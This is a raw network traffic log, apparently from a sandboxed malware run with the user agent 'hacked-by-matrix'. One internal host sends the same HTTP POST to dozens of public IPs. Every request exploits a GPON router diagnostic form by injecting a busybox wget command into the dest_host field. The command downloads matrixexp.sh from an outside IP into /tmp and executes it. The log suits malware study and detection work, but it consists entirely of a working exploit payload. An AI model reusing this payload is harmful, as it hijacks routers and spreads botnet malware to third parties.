Mar 2, 2024 12:37:28.966993093 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	40008	118.13.239.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967017889 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	60488	109.127.99.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967036009 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	43298	118.233.26.145	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967037916 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	52056	109.211.185.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967061996 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	40278	212.195.177.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967081070 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	59966	210.248.88.23	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967092037 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	48458	178.10.19.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967099905 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	35722	212.137.235.72	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967112064 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	59404	212.255.0.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967123032 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	41734	5.122.1.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967130899 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	37980	178.232.33.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967185974 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	59868	37.177.134.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967201948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	59930	79.202.176.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967201948 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
637	192.168.2.23	53048	94.207.94.99	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967217922 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.23	47158	5.211.102.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967251062 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.23	35318	178.96.73.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967253923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.23	37884	5.69.204.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967283010 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.23	53786	212.0.18.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967304945 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.23	54688	2.37.198.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967329979 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.23	41814	94.29.11.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967339993 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.23	57072	118.0.215.191	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967363119 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.23	35450	109.225.245.226	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967363119 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.23	49310	212.131.62.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:28.967380047 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.23	41564	212.219.45.227	443

Timestamp	Bytes transferred	Direction	Data
